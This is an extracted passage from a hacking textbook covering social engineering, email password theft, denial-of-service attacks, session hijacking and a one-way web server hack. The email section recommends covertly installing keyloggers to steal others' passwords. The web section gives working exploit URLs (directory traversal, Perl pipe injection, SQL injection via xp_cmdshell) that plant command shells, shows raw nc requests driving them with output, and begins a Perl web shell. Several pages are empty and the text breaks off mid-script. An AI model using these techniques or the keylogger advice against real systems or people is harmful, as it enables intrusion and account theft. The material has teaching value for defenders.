me talk to Betty.’ [He’s transferred.] ‘Hi Betty, having a bad day?’ ‘No, why?...Your

systems are down.’ She said, ‘my systems aren’t down, we’re running fine.’ He said, ‘you

better sign off.’ She signed off. He said, ‘now sign on again.’ She signed on again. He

said, ‘we didn’t even show a blip, we show no change.’ He said, ‘sign off again.’ She did.

‘Betty, I’m going to have to sign on as you here to figure out what’s happening with your

ID. Let me have your user ID and password.’ So this senior supervisor at the Help Desk

tells him her user ID and password.” Brilliant.

Page 128: Hacker techniques, exploit and incident handling

127 | P a g e

A variation on the phone theme is the pay phone or ATM. Hackers really do shoulder surf

and obtain credit card numbers and PINs this way. (It happened to a friend of mine in a

large US airport.) People always stand around phone booths at airports, so this is a place

to be extra cautious.

Dumpster Diving

Dumpster diving, also known as trashing is another popular method of social engineering.

A huge amount of information can be collected through company dumpsters. The LAN

Times listed the following items as potential security leaks in our trash: “company phone

books, organizational charts, memos, company policy manuals, calendars of meetings,

events and vacations, system manuals, printouts of sensitive data or login names and

passwords, printouts of source code, disks and tapes, company letterhead and memo

forms, and outdated hardware.”

These sources can provide a rich vein of information for the hacker. Phone books can

give the hackers names and numbers of people to target and impersonate.

Organizational charts contain information about people who are in positions of authority

within the organization. Memos provide small tidbits of useful information for creating

authenticity. Policy manuals show hackers how secure (or insecure) the company really

is. Calendars are great – they may tell attackers which employees are out of town at a

particular time. System manuals, sensitive data, and other sources of technical

information may give hackers the exact keys they need to unlock the network. Finally,

outdated hardware, particularly hard drives, can be restored to provide all sorts of useful

information. (We’ll discuss how to dispose of all of this in the second installment in this

series; suffice it to say, the shredder is a good place to start.)

On-Line Social Engineering

• The Internet is fertile ground for social engineers looking to harvest passwords. The

primary weakness is that many users often repeat the use of one simple password on

every account: Yahoo, Travelocity, Gap.com, whatever. So once the hacker has one

password, he or she can probably get into multiple accounts. One way in which hackers

have been known to obtain this kind of password is through an on-line form: they can

send out some sort of sweepstakes information and ask the user to put in a name

(including e-mail address – that way, she might even get that person’s corporate account

password as well) and password. These forms can be sent by e-mail or through US Mail.

US Mail provides a better appearance that the sweepstakes might be a legitimate

enterprise.

• Another way hackers may obtain information on-line is by pretending to be the network

administrator, sending e-mail through the network and asking for a user’s password. This

Page 129: Hacker techniques, exploit and incident handling

128 | P a g e

type of social engineering attack doesn’t generally work, because users are generally

more aware of hackers when online, but it is something of which to take note.

Furthermore, pop-up windows can be installed by hackers to look like part of the network

and request that the user reenter his username and password to fix some sort of

problem. At this point in time, most users should know not to send passwords in clear text

(if at all), but it never hurts to have an occasional reminder of this simple security

measure from the System Administrator. Even better, sys admins might want to warn

their users against disclosing their passwords in any fashion other than a face-to-face

conversation with a staff member who is known to be authorized and trusted.

• E-mail can also be used for more direct means of gaining access to a system. For

instance, mail attachments sent from someone of authenticity can carry viruses, worms

and Trojan horses. A good example of this was an AOL hack, documented

by VIGILANTe: “In that case, the hacker called AOL’s tech support and spoke with the

support person for an hour. During the conversation, the hacker mentioned that his car

was for sale cheaply. The tech supporter was interested, so the hacker sent an e-mail

attachment ‘with a picture of the car’. Instead of a car photo, the mail executed a

backdoor exploit that opened a connection out from AOL through the firewall.”

Persuasion

The hackers themselves teach social engineering from a psychological point-of-view,

emphasizing how to create the perfect psychological environment for the attack. Basic

methods of persuasion include: impersonation, ingratiation, conformity, diffusion of

responsibility, and plain old friendliness. Regardless of the method used, the main

objective is to convince the person disclosing the information that the social engineer is in

fact a person that they can trust with that sensitive information. The other important key is

to never ask for too much information at a time, but to ask for a little from each person in

order to maintain the appearance of a comfortable relationship.

Impersonation generally means creating some sort of character and playing out the role.

The simpler the role, the better. Sometimes this could mean just calling up, saying: “Hi,

I’m Joe in MIS and I need your password,” but that doesn’t always work. Other times, the

hacker will study a real individual in an organization and wait until that person is out of

town to impersonate him over the phone. According to Bernz, a hacker who has written

extensively on the subject, they use little boxes to disguise their voices and study speech

patterns and org charts. I’d say it’s the least likely type of impersonation attack because it

takes the most preparation, but it does happen.

Some common roles that may be played in impersonation attacks include: a repairman,

IT support, a manager, a trusted third party (for example, the President’s executive

assistant who is calling to say that the President okayed her requesting certain

information), or a fellow employee. In a huge company, this is not that hard to do. There

is no way to know everyone - IDs can be faked. Most of these roles fall under the

Page 130: Hacker techniques, exploit and incident handling

129 | P a g e

category of someone with authority, which leads us to ingratiation. Most employees want

to impress the boss, so they will bend over backwards to provide required information to

anyone in power.

Conformity is a group-based behavior, but can be used occasionally in the individual

setting by convincing the user that everyone else has been giving the hacker the same

information now requested, such as if the hacker is impersonating an IT manager. When

hackers attack in such a way as to diffuse the responsibility of the employee giving the

password away that alleviates the stress on the employee.

When in doubt, the best way to obtain information in a social engineering attack is just to

be friendly. The idea here is that the average user wants to believe the colleague on the

phone and wants to help, so the hacker really only needs to be basically believable.

Beyond that, most employees respond in kind, especially to women. Slight flattery or

flirtation might even help soften up the target employee to co-operate further, but the

smart hacker knows when to stop pulling out information, just before the employee

suspects anything odd. A smile, if in person, or a simple “thank you” clenches the deal.

And if that’s not enough, the new user routine often works too: “I’m confused, (batting

eyelashes) can you help me?”

Reverse Social Engineering

A final, more advanced method of gaining illicit information is known as “reverse social

engineering”. This is when the hacker creates a persona that appears to be in a position

of authority so that employees will ask him for information, rather than the other way

around. If researched, planned and executed well, reverse social engineering attacks

may offer the hacker an even better chance of obtaining valuable data from the

employees; however, this requires a great deal of preparation, research, and pre-hacking

to pull off.

According to Methods of Hacking: Social Engineering, a paper by Rick Nelson, the three

parts of reverse social engineering attacks are sabotage, advertising, and assisting. The

hacker sabotages a network, causing a problem arise. That hacker then advertises that

he is the appropriate contact to fix the problem, and then, when he comes to fix the

network problem, he requests certain bits of information from the employees and gets

what he really came for. They never know it was a hacker, because their network

problem goes away and everyone is happy.

Page 131: Hacker techniques, exploit and incident handling

130 | P a g e

Hacking Email Accounts

Key-logging: The Easiest Way!

Key-logging simply refers to the process of recording each and every keystroke that a user types

on a specific computer’s keyboard. This can be done using a small software program called

Keylogger (also known as spy software). Once you install this program on the target computer, it

will automatically load from the start-up and start capturing every keystroke typed on that

computer including usernames and passwords. Keylogger software will operate in a complete

stealth mode and thus remains undetected.

In order to use this software, you don’t need to have any special knowledge of hacking. Anyone

with a basic knowledge of computer should be able to install and use this software with ease. I

recommend the following Keylogger as the best for your monitoring needs.

Phishing: The Difficult Way

Phishing is the other most commonly used trick to hack email passwords. This method involves

the use of Fake Login Pages whose look and feel is almost identical to that of legitimate

websites. Fake login pages are created by many hackers which appear exactly as Gmail or Yahoo

login pages.

Once you enter your login details on such a fake login page, they are actually stolen away by the

hacker. However, creating a fake login page and taking it online to successfully hack an email

account is not an easy job. It demands an in depth technical knowledge of HTML and scripting

languages like PHP, JSP etc. Also, phishing is considered as a serious criminal offense and hence

it is a risky job to attempt phishing attack. So, I recommend the usage of Keyloggers as the best

to hack email password.

Common Myths and Scams Associated with Email Hacking

Today, there are many scam websites out there on the Internet which often misguide users with

false information. Some of them may even rip off your pockets with false promises. So, here are

some of the things that you need to be aware of:

1. There is no readymade software program (except the Keylogger) that can hack emails and get

you the password instantly just with a click of a button. So, if you come across any website that

claims to sell such software, I would advise you to stay away from them.

Page 132: Hacker techniques, exploit and incident handling

131 | P a g e

2. Never trust any hacking service that claims to hack any email for just $100 or $200. All I can

tell you is that, most of them are no more than a scam.

3. I have seen many websites on the Internet that are distributing fake tutorials on email

hacking. Most of these tutorials will tell you something like this: “you need to send an email

to [email protected] along with your username and password” (or something

similar). Beware! Never give away your password to anyone nor send it to any email address. If

you do so, you will lose your password itself in attempt to hack somebody else’s password.

Page 133: Hacker techniques, exploit and incident handling

132 | P a g e

Denial-of-Service Real World Scenario of D.o.S Attacks

Ping of Death

A ping of death (abbreviated "POD") is a type of attack on a computer that involves sending a

malformed or otherwise malicious ping to a computer. A ping is normally 32bytes in size (or 84

bytes when IP header is considered); historically, many computer systems could not handle a

ping packet larger than the maximum IPv4 packet size, which is 65,535 bytes. Sending a ping of

this size could crash the target computer.

In early implementations of TCP/IP, this bug was easy to exploit. This exploit has affected a wide

variety of systems, including UNIX, Linux, Mac, Windows, printers, and routers. However, most

systems since 1997-1998 have been fixed, so this bug is mostly historical.

Generally, sending a 65,536 byte ping packet is illegal according to the IP protocol, but a packet

of such a size can be sent if it is fragmented; when the target computer reassembles the packet,

a buffer overflow can occur, which often causes a system crash.

In recent years, a different kind of ping attack has become widespread - ping flooding simply

floods the victim with so much ping traffic that normal traffic fails to reach the system (a basic

denial-of-service attack).

Permanent denial-of-service attacks – PDOS

A permanent denial-of-service (PDoS), also known loosely as phlashing, is an attack that

damages a system so badly that it requires replacement or reinstallation of hardware. Unlike the

distributed denial-of-service attack, a PDoS attack exploits security flaws which allow remote

administration on the management interfaces of the victim's hardware, such as routers,

printers, or other networking hardware. The attacker uses these vulnerabilities to replace a

device's firmware with a modified, corrupt, or defective firmware image—a process which when

done legitimately is known as flashing. This therefore "bricks" the device, rendering it unusable

for its original purpose until it can be repaired or replaced.

The PDoS is a pure hardware targeted attack which can be much faster and requires fewer

resources than using a botnet in a DDoS attack. Because of these features, and the potential and

high probability of security exploits on Network Enabled Embedded Devices (NEEDs), this

technique has come to the attention of numerous hacker communities. PhlashDance is a tool

created by Rich Smith (an employee of Hewlett-Packard's Systems Security Lab) used to detect

and demonstrate PDoS vulnerabilities at the 2008 EUSecWest Applied Security Conference in

London.

Page 134: Hacker techniques, exploit and incident handling

133 | P a g e

IP Spoofing

Land Attack

The attack involves sending a spoofed TCP SYN packet (connection initiation) with the target

host's IP address and an open port as both source and destination.

The reason a LAND attack works is because it causes the machine to reply to itself continuously.

Definition: "A LAND attack involves IP packets where the source and destination address are set

to address the same device."[Citation needed]

Page 135: Hacker techniques, exploit and incident handling

134 | P a g e

Other land attacks have since been found in services like SNMP and Windows 88/TCP

(Kerberos/global services) which were caused by design flaws where the devices accepted

requests on the wire appearing to be from them and causing replies repeatedly.

SYN Flood

A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN

requests to a target's system. Some systems can mis-detect a SYN Flood when being scanned for

open proxies, as commonly done by IRC servers and services. These are not SYN Floods, merely

an automated system designed to check the connecting IP.

When a client attempts to start a TCP connection to a server, the client and server exchange a

series of messages which normally runs like this:

• The client requests a connection by sending a SYN (synchronize) message to the server.

• The server acknowledges this request by sending SYN-ACK back to the client.

• The client responds with an ACK, and the connection is established.

• This is called the TCP three-way handshake, and is the foundation for every connection

established using the TCP protocol.

The SYN flood is a well-known type of attack and is generally not effective against modern

networks. It works if a server allocates resources after receiving a SYN, but before it has received

the ACK.

There are two methods, but both involve the server not receiving the ACK. A malicious client can

skip sending this last ACK message. Or by spoofing the source IP address in the SYN, it makes the

server send the SYN-ACK to the falsified IP address, and thus never receive the ACK. In both

cases the server will wait for the acknowledgement for some time, as simple network

congestion could also be the cause of the missing ACK.

If these half-open connections bind resources on the server, it may be possible to take up all

these resources by flooding the server with SYN messages. Once all resources set aside for half-

open connections are reserved, no new connections (legitimate or not) can be made, resulting

in denial of service. Some systems may malfunction badly or even crash if other operating

system functions are starved of resources this way.

The technology often used in 1996 for allocating resources for half open TCP connections

involved a queue which was often very short (e.g., 8 entries long) with each entry of the queue

being removed upon a completed connection, or upon expiry (e.g., after 3 minutes[2]). When

the queue was full, further connections failed. With the examples above, all further connections

would be prevented for 3 minutes by sending a total of 8 packets. A well-timed 8 packets every

3 minutes would prevent all further TCP connections from completing. This allowed for a Denial

of Service attack with very minimal traffic.

Page 136: Hacker techniques, exploit and incident handling

135 | P a g e

SYN cookies provide protection against the SYN flood by eliminating the resources allocated on

the target host. Limiting new connections per source per timeframe is not a general solution

since the attacker can spoof the packets to have multiple sources. Reflector routers can also be

used as attackers, instead of client machines.

Normal:

SYN-flood:

Page 137: Hacker techniques, exploit and incident handling

136 | P a g e

SYN Flood + IP Spoofing

Page 138: Hacker techniques, exploit and incident handling

137 | P a g e

Reflected attack: Source IP Spoofing + SYN Sent

Page 139: Hacker techniques, exploit and incident handling

138 | P a g e

Distributed attack – DDOS

A distributed denial of service attack (DDoS) occurs when multiple systems flood the bandwidth

or resources of a targeted system, usually one or more web servers. These systems are

compromised by attackers using a variety of methods.

Malware can carry DDoS attack mechanisms; one of the better-known examples of this was

MyDoom. Its D.o.S mechanism was triggered on a specific date and time. This type of DDoS

involved hardcoding the target IP address prior to release of the malware and no further

interaction was necessary to launch the attack.

A system may also be compromised with a Trojan, allowing the attacker to download a zombie

agent (or the Trojan may contain one). Attackers can also break into systems using automated

Page 140: Hacker techniques, exploit and incident handling

139 | P a g e

tools that exploit flaws in programs that listen for connections from remote hosts. This scenario

primarily concerns systems acting as servers on the web.

Stacheldraht is a classic example of a DDoS tool. It utilizes a layered structure where the attacker

uses a client program to connect to handlers, which are compromised systems that issue

commands to the zombie agents, which in turn facilitate the DDoS attack. Agents are

compromised via the handlers by the attacker, using automated routines to exploit

vulnerabilities in programs that accept remote connections running on the targeted remote

hosts. Each handler can control up to a thousand agents.

These collections of systems compromisers are known as botnets. DDoS tools like stacheldraht

still use classic D.o.S attack methods centered on IP spoofing and amplification like smurf attacks

and fraggle attacks (these are also known as bandwidth consumption attacks). SYN floods (also

known as resource starvation attacks) may also be used. Newer tools can use DNS servers for

D.o.S purposes. See next section.

Simple attacks such as SYN floods may appear with a wide range of source IP addresses, giving

the appearance of a well distributed DDoS. These flood attacks do not require completion of the

TCP three way handshake and attempt to exhaust the destination SYN queue or the server

bandwidth. Because the source IP addresses can be trivially spoofed, an attack could come from

a limited set of sources, or may even originate from a single host. Stack enhancements such as

SYN cookies may be effective mitigation against SYN queue flooding, however complete

bandwidth exhaustion may require involvement

Unlike MyDoom's DDoS mechanism, botnets can be turned against any IP address. Script kiddies

use them to deny the availability of well-known websites to legitimate users. More sophisticated

attackers use DDoS tools for the purposes of extortion — even against their business rivals.

It is important to note the difference between a DDoS and D.o.S attack. If an attacker mounts an

attack from a single host it would be classified as a D.o.S attack. In fact, any attack against

availability would be classed as a Denial of Service attack. On the other hand, if an attacker uses

a thousand systems to simultaneously launch smurf attacks against a remote host, this would be

classified as a DDoS attack.

The major advantages to an attacker of using a distributed denial-of-service attack are that

multiple machines can generate more attack traffic than one machine, multiple attack machines

are harder to turn off than one attack machine, and that the behavior of each attack machine

can be stealthier, making it harder to track down and shut down. These attacker advantages

cause challenges for defense mechanisms. For example, merely purchasing more incoming

bandwidth than the current volume of the attack might not help, because the attacker might be

able to simply add more attack machines.

It should be noted that in some cases a machine may become part of a DDoS attack with the

owner's consent. An example of this is the 2010 DDoS attack against major credit card

Page 141: Hacker techniques, exploit and incident handling

140 | P a g e

companies by supporters of WikiLeaks. In cases such as this, supporters of a movement (in this

case, those opposing the arrest of WikiLeaks founder Julian Assange) choose to download and

run DDoS software.

Amplification/Smurf attack

The Smurf attack is a way of generating significant computer network traffic on a victim

network. This is a type of denial-of-service attack that floods a target system via spoofed

broadcast ping messages.

This attack relies on a perpetrator sending a large amount of ICMP echo request (ping) traffic to

IP broadcast addresses, all of which have a spoofed source IP address of the intended victim. If

the routing device delivering traffic to those broadcast addresses delivers the IP broadcast to all

hosts (for example via a layer 2 broadcast), most hosts on that IP network will take the ICMP

echo request and reply to it with an echo reply, multiplying the traffic by the number of hosts

responding. On a multi-access broadcast network, hundreds of machines might reply to each

packet.

Page 142: Hacker techniques, exploit and incident handling

141 | P a g e

In the late 1990s, many IP networks would participate in Smurf attacks (that is, they would

respond to pings to broadcast addresses). Today, thanks largely to the ease with which

administrators can make a network immune to this abuse, very few networks remain vulnerable

to Smurf attacks.

The fix is two-fold:

Configure individual hosts and routers not to respond to ping requests or broadcasts.

Configure routers not to forward packets directed to broadcast addresses. Until 1999, standards

required routers to forward such packets by default, but in that year, the standard was changed

to require the default to be not to forward.

Another proposed solution, to fix this as well as other problems, is network ingress filtering

which rejects the attacking packets on the basis of the forged source address.

An example of configuring a router not to forward packets to broadcast addresses, for a Cisco

router, is:

Router(config-if)# no ip directed-broadcast

(This example does not prevent a network from becoming the target of Smurf attack; it merely

prevents the network from "attacking" other networks, or better said, taking part in a Smurf

attack.)

A Smurf amplifier is a computer network that lends itself to being used in a Smurf attack. Smurf

amplifiers act to amplify (worsen the severity of) a Smurf attack because they are configured in

such a way that they generate a large number of ICMP replies to a spoofed source IP address

(the victim of the attack).

Page 143: Hacker techniques, exploit and incident handling

142 | P a g e

Session Hi-Jacking - What is Session Hi-Jacking?

• Taking over an active session to a computer system

• In order to attack the system, the attacker must know the protocol/method being used

to handle the active sessions with the system

• In order to attack the system, the attacker must achieve the user’s session identifier

(session id, session hash, token, IP)

• The most common use of Session Hi-jacking revolves around textual protocols such as

the HTTP protocol where the identifier is the ASPSESSID/PHPSESSID/JSESSION

parameter located HTTP Cookie Header aka “The Session Cookie”

• Most common scenarios of Session Hi-Jacking is done with combination with:

• XSS - Where the session cookie is read by an attacker’s JavaScript code

• Man-In-The-Middle – Where the cookie is sent over clear-text HTTP through the

attacker’s machine, which becomes the victim’s gateway

Page 144: Hacker techniques, exploit and incident handling

143 | P a g e

Page 145: Hacker techniques, exploit and incident handling

144 | P a g e

Page 146: Hacker techniques, exploit and incident handling

145 | P a g e

Page 147: Hacker techniques, exploit and incident handling

146 | P a g e

Page 148: Hacker techniques, exploit and incident handling

147 | P a g e

Page 149: Hacker techniques, exploit and incident handling

148 | P a g e

Hacking Web Servers How Web Servers Work

According to the research made by Ponemon Institute, web hacking and web based attacks are

the most costly for companies. The research results can be seen here:

These is a techniques rely purely on HTTP traffic to attack and penetrate web servers and application servers. This technique was formulated to demonstrate that having tight firewalls or SSL does not really matter when it comes to web application attacks. The premise of the one-way technique is that only valid HTTP requests are allowed in and only valid HTTP responses are allowed out of the firewall.

Components of a generic web application system

There are four components in web application systems, namely the web client which is usually a browser, the front-end web server, the application server and for a vast majority of applications, the database server. The following diagram shows how these components fit together.

Page 150: Hacker techniques, exploit and incident handling

149 | P a g e

The web application server hosts all the application logic, which may be in the form of scripts, objects or compiled binaries. The front-end web server acts as the application interface to the outside world, receiving inputs from the web clients via HTML forms and HTTP, and delivering output generated by the application in the form of HTML pages. Internally, the application interfaces with back-end database servers to carry out transactions.

The firewall is assumed to be a tightly configured firewall, allowing nothing but incoming HTTP requests and outgoing HTML replies.

URL mappings to the web application system

While interacting with a web application, the URLs that get sent back and forth between the browser and the web server typically have the following format:

http:// server / path / application? Parameters

The following diagram illustrates how different parts of the URL map to various areas in the web application system:

Page 151: Hacker techniques, exploit and incident handling

150 | P a g e

• The protocol (http or https) is allowed in and out by the firewall.

• The server and path parts are parsed by the front-end web server. Any vulnerabilities present in URL interpretation (e.g. Unicode, double-decode) can be exploited by tampering with the server and path of the URL.

• The application is executed by the application server with which it is configured or registered. Tampering with this part may result in exploiting vulnerabilities present with the application server. (e.g. compiling and executing arbitrary files using the JSP servlet handler)

• Parameters supplied to the application, if not properly validated, may result in vulnerabilities specific to that application. (e.g. inserting pipe "|" characters to the open() call in Perl)

• If a parameter is used as a part of an SQL database query, poorly validated parameters may lead to SQL injection attacks. (e.g. execution of arbitrary commands using stored procedures such as "xp_cmdshell")

Flowchart for a one-way web hack Consider the example where an attacker finds a vulnerable web application, and is able to exploit it using techniques such as the ones mentioned previously. The attacker has achieved arbitrary command execution, but due to the restrictive firewall, is unable to proceed further into the network. To make an attack effective, two things are essential:

1. Interactive terminal access - for running commands to pilfer the attacked server or penetrate further into the network.

2. File transfer access - for transferring attack tools such as port scanners, rootkits, etc.

A tight firewall can make it very difficult to achieve the above objectives; however, it is not impossible. To

get around these restrictions, with a little bit of web application programming knowledge, we can create a

web based command prompt and a file uploader.

Before proceeding further we shall take a preview of the various stages of the one-way hack, as illustrated by the following diagram:

Page 152: Hacker techniques, exploit and incident handling

151 | P a g e

Finding the entry point The one-way hack begins when we are able to achieve remote command execution on the target web server. We can use any of the common techniques used to attack web servers. We shall present a few examples of various ways of achieving remote command execution based on different types of URL mappings as described previously. A detailed discussion on web server and application vulnerabilities is beyond the scope of this paper.

Our objective is to create a backdoor by moving the shell interpreter (/bin/sh, cmd.exe, etc.) to an area within the web server's document root. This way, we can invoke the shell interpreter through a URL. We present three examples which illustrate how to create backdoors using various exploitation techniques.

The diagram below illustrates some of the techniques used to find an entry point:

Page 153: Hacker techniques, exploit and incident handling

152 | P a g e

Exploiting URL parsing

The Unicode / Double decode attack is a classic example of a URL parsing vulnerability. The URL below copies the command interpreter - cmd.exe - into the "scripts/" directory within the web server's document root:

http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+

c:\winnt\system32\cmd.exe+c:\inetpub\scripts

Exploiting poorly validated input parameters

In this example, an unchecked parameter is passed from the URL to a Perl CGI script news.cgi using the open() call in an insecure manner:

http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+

/usr/local/apache/cgi-bin/sh.cgi|

The shell (/bin/sh) gets copied into the cgi-bin directory as sh.cgi.

Exploiting SQL injection

Here, we show how SQL injection can be used to invoke a stored procedure on a database server, and run commands via the stored procedure:

http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+

'copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\'

Page 154: Hacker techniques, exploit and incident handling

153 | P a g e

Invoking the command interpreter

Our objective of creating a backdoor by moving the command interpreter or the shell into the web document root is to be able to invoke it remotely over HTTP. The HTTP POST method is best suited for this purpose. Using POST, the input data gets passed to the invoked resource over standard input, and the web server returns the output generated by standard output back over the HTTP connection.

We shall illustrate how to send commands to command interpreters over POST, with two examples - one for CMD.EXE on IIS and Windows NT and the other for sh.cgi (which is a copy of /bin/sh) on Apache and Linux.

Posting commands to CMD.EXE

The example below shows two commands being run with CMD.EXE, which is accessible on http://www1.example.com/scripts/cmd.exe. The POST request is shown in blue letters.

$ nc www1.example.com 80 POST /scripts/cmd.exe HTTP/1.0 Host: www1.example.com Content-length: 17 ver dir c:\ exit HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Date: Wed, 08 Dec 1999 06:13:19 GMT Content-Type: application/octet-stream Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\Inetpub\scripts>ver Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A Directory of c:\ 10/04/00 05:28a <DIR> WINNT 10/04/00 05:31a <DIR> Program Files 10/04/00 05:37a <DIR> TEMP 10/04/00 07:01a <DIR> Inetpub 10/04/00 07:01a <DIR> certs 11/28/00 05:12p <DIR> software 12/06/00 03:46p <DIR> src 12/07/00 12:50p <DIR> weblogic 12/07/00 12:53p <DIR> weblogic_publish

Page 155: Hacker techniques, exploit and incident handling

154 | P a g e

12/07/99 01:11p <DIR> JavaWebServer2.0 12/07/99 06:49p 134,217,728 pagefile.sys 12/07/99 07:24a <DIR> urlscan 12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free C:\Inetpub\scripts>exit $

Some care needs to be taken in order for CMD.EXE to receive the commands properly, and for the web server to return the output of CMD.EXE properly. In the above example, we have included the "exit" command to ensure that the input stream to CMD.EXE terminates properly. The Content-length of the POST request is also calculated accordingly, keeping in mind the extra characters taken by "exit"

Posting commands to /bin/sh

The example below shows three commands being run with /bin/sh, which is accessible on http://www2.example.com/cgi-bin/sh.cgi. The POST request is shown in bold letters.

$ nc www2.example.com 80 POST /cgi-bin/sh.cgi HTTP/1.0 Host: www2.example.com Content-type: text/html Content-length: 60 echo 'Content-type: text/html' echo uname id ls -la / exit HTTP/1.1 200 OK Date: Thu, 27 Nov 2003 20:47:20 GMT Server: Apache/1.3.12 Connection: close Content-Type: text/html Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb 2 2002 . drwxr-xr-x 19 root root 4096 Feb 2 2002 .. drwxr-xr-x 2 root root 4096 Jun 20 2001 bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec 1 2001 home drwxr-xr-x 4 root root 4096 Jun 19 2001 lib drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt

Page 156: Hacker techniques, exploit and incident handling

155 | P a g e

drwxr-xr-x 3 root root 4096 Feb 2 2002 opt dr-xr-xr-x 37 root root 0 Nov 28 2003 proc drwxr-x--- 9 root root 4096 Feb 9 2003 root drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin drwxrwxr-x 2 root root 4096 Feb 2 2002 src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 drwxr-xr-x 21 root root 4096 Feb 2 2002 usr drwxr-xr-x 16 root root 4096 Jun 19 2001 var $

The care and feeding of /bin/sh over Apache is slightly different. Apache expects a well formed HTTP response header from all its CGI programs, hence we have to prepend the lines "Content-type: text/html" in the output. The two "echo" commands are for this purpose.

Automating the POST process

We have created two Perl scripts post_cmd.pl and post_sh.pl to automate the task of preparing the proper POST requests for the commands and sending them to the web server. The syntax for invoking post_cmd.pl is as follows:

usage: post_cmd.pl url [proxy:port] < data

By Saumil Shah (c) net-square 2001

post_cmd.pl takes all the data to be POSTed to the URL as

standard input. Either enter the data manually and hit ^D (unix)

or ^Z (dos) to end; or redirect the data using files or pipes

post_cmd.pl is written such that it can tunnel the POST requests over an HTTP proxy server as well. post_sh.pl is on similar lines.

The examples below show the same results being derived using the Perl scripts instead of forming our own POST requests:

Output of post_cmd.pl $ ./post_cmd.pl http://www1.example.com/scripts/cmd.exe ver dir c:\ ^D HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Date: Wed, 08 Dec 1999 06:05:46 GMT Content-Type: application/octet-stream Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\Inetpub\scripts>ver

Page 157: Hacker techniques, exploit and incident handling

156 | P a g e

Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A Directory of c:\ 10/04/00 05:28a <DIR> WINNT 10/04/00 05:31a <DIR> Program Files 10/04/00 05:37a <DIR> TEMP 10/04/00 07:01a <DIR> Inetpub 10/04/00 07:01a <DIR> certs 11/28/00 05:12p <DIR> software 12/06/00 03:46p <DIR> src 12/07/00 12:50p <DIR> weblogic 12/07/00 12:53p <DIR> weblogic_publish 12/07/99 01:11p <DIR> JavaWebServer2.0 12/07/99 06:49p 134,217,728 pagefile.sys 12/07/99 07:24a <DIR> urlscan 12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free C:\Inetpub\scripts>exit $

Output of post_sh.pl

$ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi uname id ls -la / ^D HTTP/1.1 200 OK Date: Thu, 27 Nov 2003 20:43:54 GMT Server: Apache/1.3.12 Connection: close Content-Type: text/html Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb 2 2002 . drwxr-xr-x 19 root root 4096 Feb 2 2002 .. drwxr-xr-x 2 root root 4096 Jun 20 2001 bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec 1 2001 home drwxr-xr-x 4 root root 4096 Jun 19 2001 lib drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt drwxr-xr-x 3 root root 4096 Feb 2 2002 opt

Page 158: Hacker techniques, exploit and incident handling

157 | P a g e

dr-xr-xr-x 37 root root 0 Nov 28 2003 proc drwxr-x--- 9 root root 4096 Feb 9 2003 root drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin drwxrwxr-x 2 root root 4096 Feb 2 2002 src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 drwxr-xr-x 21 root root 4096 Feb 2 2002 usr drwxr-xr-x 16 root root 4096 Jun 19 2001 var $

In this manner, we can issue multiple commands to the target web server using HTTP POST requests. This concept shall be used to create arbitrary files on the web server, as discussed in section 4.1

Web based command prompt After achieving remote command execution, we need to be able to interactively run commands on the target web server. Common ways of doing this would be to either spawn a shell or bind it to a TCP port on the target web server, or to launch a shell connection back to a TCP listener, or to launch an xterm to a remote X display. However, given a tight firewall which allows only HTTP requests as incoming traffic and HTTP responses as outbound traffic, such techniques will not work. We shall present here examples of "web based command prompts" to get around these restrictions.

A web based command prompt provides the functionality of a semi-interactive shell terminal, via an HTML form. The form accepts the command as an <INPUT> field and displays the resultant output as pre-formatted text.

The reason why web based command prompts are semi-interactive is because they do not save the state of the terminal, such as the current working directory, system environment, etc. These can be implemented by session based HTML forms, however, that is beyond the scope of this paper.

Commands executed by such web based command prompts assume the privileges of the web server process. Typically, for UNIX systems running Apache, the uid is "nobody", whereas for Windows systems running IIS, the privileges are those of "IUSR_machinename" or "IWAM_machinename"

Given below are four examples of a web based command prompt:

Perl - perl_shell.cgi

The following script using Perl provides a semi-interactive web based command prompt.

#!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n"; print "<INPUT NAME=cmd TYPE=TEXT>\n"; print "<INPUT TYPE=SUBMIT VALUE=Run>\n"; print "</FORM>\n"; &ReadParse(*in);

Page 159: Hacker techniques, exploit and incident handling

158 | P a g e

